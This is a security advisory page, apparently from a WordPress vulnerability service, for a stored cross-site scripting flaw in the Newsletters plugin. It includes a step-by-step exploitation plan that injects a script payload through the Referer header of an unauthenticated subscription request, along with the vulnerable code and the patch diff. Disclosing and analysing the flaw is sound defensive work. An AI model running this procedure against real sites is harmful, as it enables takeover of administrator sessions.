CVE-2026-57394

Newsletters <= 4.14 - Unauthenticated Stored Cross-Site Scripting

highImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
4.15
Patched in
7d
Time to patch

Description

The Newsletters plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 4.14 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=4.14
PublishedJuly 8, 2026
Last updatedJuly 14, 2026
Affected pluginnewsletters-lite

What Changed in the Fix

Changes introduced in v4.15

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-57394 ## 1. Vulnerability Summary The **Newsletters (newsletters-lite)** plugin for WordPress is vulnerable to **Unauthenticated Stored Cross-Site Scripting (XSS)** in versions up to and including 4.14. The vulnerability exists because the plugin records the …

Show full research plan

Exploitation Research Plan - CVE-2026-57394

1. Vulnerability Summary

The Newsletters (newsletters-lite) plugin for WordPress is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS) in versions up to and including 4.14. The vulnerability exists because the plugin records the HTTP_REFERER of a user during the subscription process and subsequently displays it in the administrative "View Subscriber" page without proper sanitization or output escaping. An unauthenticated attacker can submit a subscription request with a malicious Referer header, which will execute arbitrary JavaScript when an administrator views that subscriber's profile.

2. Attack Vector Analysis

  • Vulnerable Endpoint: wp-admin/admin-ajax.php (AJAX subscription handler).
  • Vulnerable Parameter: HTTP_REFERER header.
  • Authentication Required: None (Unauthenticated).
  • Preconditions:
    • The plugin must have at least one active mailing list.
    • The subscription form must be accessible (usually via a shortcode or widget).
    • An administrator must eventually view the specific malicious subscriber's details.

3. Code Flow

  1. Entry Point: An unauthenticated user submits a subscription request (typically via an AJAX action like newsletters_subscribe).
  2. Capture (Inferred): The plugin captures the source of the subscription using $_SERVER['HTTP_REFERER'].
  3. Storage (Inferred): The raw referrer string is saved to the referer column in the plugin's subscribers database table (e.g., wp_wpmlsubscribers) without sanitization.
  4. Retrieval: An administrator navigates to the "Subscribers" section and clicks "View" for the new subscriber.
  5. Sink: The file views/admin/subscribers/view.php is rendered.
  6. Execution: At line ~119 (in the provided snippet), the following code executes:
    <?php if (!empty($subscriber -> referer)) : ?>
        <tr class="<?php echo $class = (empty($class)) ? 'alternate' : ''; ?>">
            <th><?php esc_html_e('Referrer', 'wp-mailinglist'); ?></th>
            <td><?php echo $subscriber -> referer; ?></td>
        </tr>
    <?php endif; ?>
    
    Since $subscriber->referer is echoed directly without esc_html() or wp_kses(), the payload executes in the admin's browser.

4. Nonce Acquisition Strategy

The subscription form typically requires a nonce for AJAX requests. To obtain a valid nonce for the unauthenticated context (User ID 0):

  1. Identify Shortcode: The plugin uses the [newsletters_subscribe] shortcode to render the form.
  2. Create Test Page:
    wp post create --post_type=page --post_title="Subscribe" --post_status=publish --post_content='[newsletters_subscribe list="1"]'
  3. Navigate & Extract: Navigate to the newly created page using the browser.
  4. Extract Variable: The plugin enqueues scripts that localize data. Look for a global JavaScript object, often named wpml_data or similar, or check the wpmlAjax variable mentioned in the readme.txt.
    • Inferred JS Variable: window.wpml_data or window.newsletters_vars.
    • Action String: The nonce is likely created for an action like newsletters_subscribe or the generic plugin name.
  5. Browser Eval:
    browser_eval("window.wpml_data?.nonce") or browser_eval("jQuery('input[name=\"_wpnonce\"]').val()") (if using a standard form field).

5. Exploitation Strategy

Step 1: Prepare the Environment

Ensure a mailing list exists.
wp eval "global \$wpdb; \$wpdb->insert(\$wpdb->prefix . 'wpmlmailinglists', array('title' => 'Test List', 'active' => 'Y'));"

Step 2: Extract Nonce and Form Data

Navigate to the subscription page and extract the required list_id and nonce.

Step 3: Execute the Exploit

Send a POST request to the AJAX endpoint with the malicious Referer.

  • Tool: http_request
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers:
    • Content-Type: application/x-www-form-urlencoded
    • Referer: <script>alert('CVE-2026-57394')</script>
  • Body:
    action=newsletters_subscribe&email=attacker@example.com&list_id[]=1&nonce=[NONCE]

Step 4: Trigger the XSS

Log in as an administrator and navigate to the subscriber view page:
http://localhost:8080/wp-admin/admin.php?page=newsletters-subscribers&method=view&id=[ID]
(The ID can be found via wp db query "SELECT id FROM wp_wpmlsubscribers WHERE email='attacker@example.com'").

6. Test Data Setup

  1. Mailing List: A list must exist with ID 1.
  2. Subscription Page: A public page containing the shortcode [newsletters_subscribe].
  3. Admin User: A standard admin account to view the payload.

7. Expected Results

  • The subscription request returns a success message (e.g., "Subscription successful").
  • When the admin views the subscriber, the browser executes the JavaScript alert('CVE-2026-57394').
  • The HTML source of the admin page will contain:
    <td><script>alert('CVE-2026-57394')</script></td>

8. Verification Steps

After performing the HTTP request, verify the payload is stored in the database:

wp db query "SELECT referer FROM wp_wpmlsubscribers WHERE email='attacker@example.com'"

The output should exactly match the <script> payload.

9. Alternative Approaches

If the Referer header is sanitized on input but not output:

  • Custom Fields: If the subscription form allows custom fields, test for lack of escaping in views/admin/subscribers/view.php around line 135:
    <th><?php echo esc_html($field -> title); ?></th>
    <td><?php echo $subscriber -> {$field -> slug}; ?></td>
    
    This loop also appears to echo $subscriber -> {$field -> slug} directly for certain field types.
  • IP Address: Check if the IP Address field (retrieved via $_SERVER['REMOTE_ADDR']) is vulnerable, although this usually requires header spoofing (e.g., X-Forwarded-For) and depends on the server configuration.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Newsletters plugin for WordPress is vulnerable to Stored Cross-Site Scripting because it captures the Referer header from unauthenticated subscription requests and saves it directly to the database. The captured data is subsequently rendered in the administrative subscriber view without sanitization or output escaping, allowing an attacker to execute arbitrary scripts in the context of an administrator's session.

Vulnerable Code

// views/admin/subscribers/view.php line 101-102
<th><?php esc_html_e('Referrer', 'wp-mailinglist'); ?></th>
<td><?php echo $subscriber -> referer; ?></td>

---

// views/admin/autoresponderemails/index.php lines 46-47
<?php if (!empty($_GET['id'])) : ?>
	changefilter('autoresponder_id', '<?php echo sanitize_text_field(wp_unslash($_GET['id'])); ?>'));
<?php endif; ?>

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/newsletters-lite/4.14/views/admin/autoresponderemails/index.php /home/deploy/wp-safety.org/data/plugin-versions/newsletters-lite/4.15/views/admin/autoresponderemails/index.php
--- /home/deploy/wp-safety.org/data/plugin-versions/newsletters-lite/4.14/views/admin/autoresponderemails/index.php	2026-06-10 08:19:24.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/newsletters-lite/4.15/views/admin/autoresponderemails/index.php	2026-06-19 16:07:28.000000000 +0000
@@ -44,10 +44,10 @@
 					
 		jQuery(document).ready(function() {
 			<?php if (!empty($_GET['id'])) : ?>
-				changefilter('autoresponder_id', '<?php echo sanitize_text_field(wp_unslash($_GET['id'])); ?>'));
+				changefilter('autoresponder_id', '<?php echo esc_js(sanitize_text_field(wp_unslash($_GET['id']))); ?>');
 			<?php endif; ?>
 			<?php if (!empty($_GET['status'])) : ?>
-				changefilter('status', '<?php echo sanitize_text_field(wp_unslash($_GET['status'])); ?>'));
+				changefilter('status', '<?php echo esc_js(sanitize_text_field(wp_unslash($_GET['status']))); ?>');
 			<?php endif; ?>
 		});
 		</script>
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/newsletters-lite/4.14/views/admin/subscribers/view.php /home/deploy/wp-safety.org/data/plugin-versions/newsletters-lite/4.15/views/admin/subscribers/view.php
--- /home/deploy/wp-safety.org/data/plugin-versions/newsletters-lite/4.14/views/admin/subscribers/view.php	2026-06-10 08:19:24.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/newsletters-lite/4.15/views/admin/subscribers/view.php	2026-06-19 16:50:40.000000000 +0000
@@ -99,7 +99,7 @@
 			<?php if (!empty($subscriber -> referer)) : ?>
 				<tr class="<?php echo $class = (empty($class)) ? 'alternate' : ''; ?>">
 					<th><?php esc_html_e('Referrer', 'wp-mailinglist'); ?></th>
-					<td><?php echo $subscriber -> referer; ?></td>
+					<td><?php echo esc_html( $subscriber -> referer); ?></td>
 				</tr>
 			<?php endif; ?>

Exploit Outline

The exploit involves a Stored XSS via the Referer HTTP header. First, an unauthenticated attacker identifies a public newsletter subscription form on the target site and extracts a valid AJAX nonce and mailing list ID from the localized script variables or form source. Next, the attacker sends a POST request to the `/wp-admin/admin-ajax.php` endpoint with the action `newsletters_subscribe`. The request must include a crafted Referer header containing a JavaScript payload (e.g., `<script>alert('XSS')</script>`). The plugin stores this raw Referer string in the database. Finally, the payload executes when an administrator navigates to the 'Subscribers' section of the dashboard and clicks 'View' for the record corresponding to the attacker's subscription email.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.